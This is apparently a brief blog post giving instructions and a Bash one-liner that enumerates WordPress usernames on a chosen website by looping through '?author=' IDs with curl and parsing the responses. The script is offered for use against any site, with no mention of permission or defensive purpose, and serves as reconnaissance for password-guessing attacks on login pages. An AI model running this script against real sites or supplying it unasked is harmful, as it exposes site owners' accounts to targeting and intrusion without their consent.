A Bash Script to enumerate Wordpress usernames.
Copy the below Bash code text into a .sh file.
Change the website to URL to your desired URL.
Change the range of user ids default is 1 to 20.
Then chmod the file to make it executable ( chmod +x filename.sh)(in linux terminal)
and run ./filename.sh.
BASH Code:
for i in {1..20}; do curl -s -L -i http://www.your-desired-website/?author=$i | grep -E -o "\" title=\"View all posts by [a-z0-9A-Z\-\.]*|Location:.*" | sed 's/\// /g' | cut -f 6 -d ' ' | grep -v "^$"; done
No comments:
Post a Comment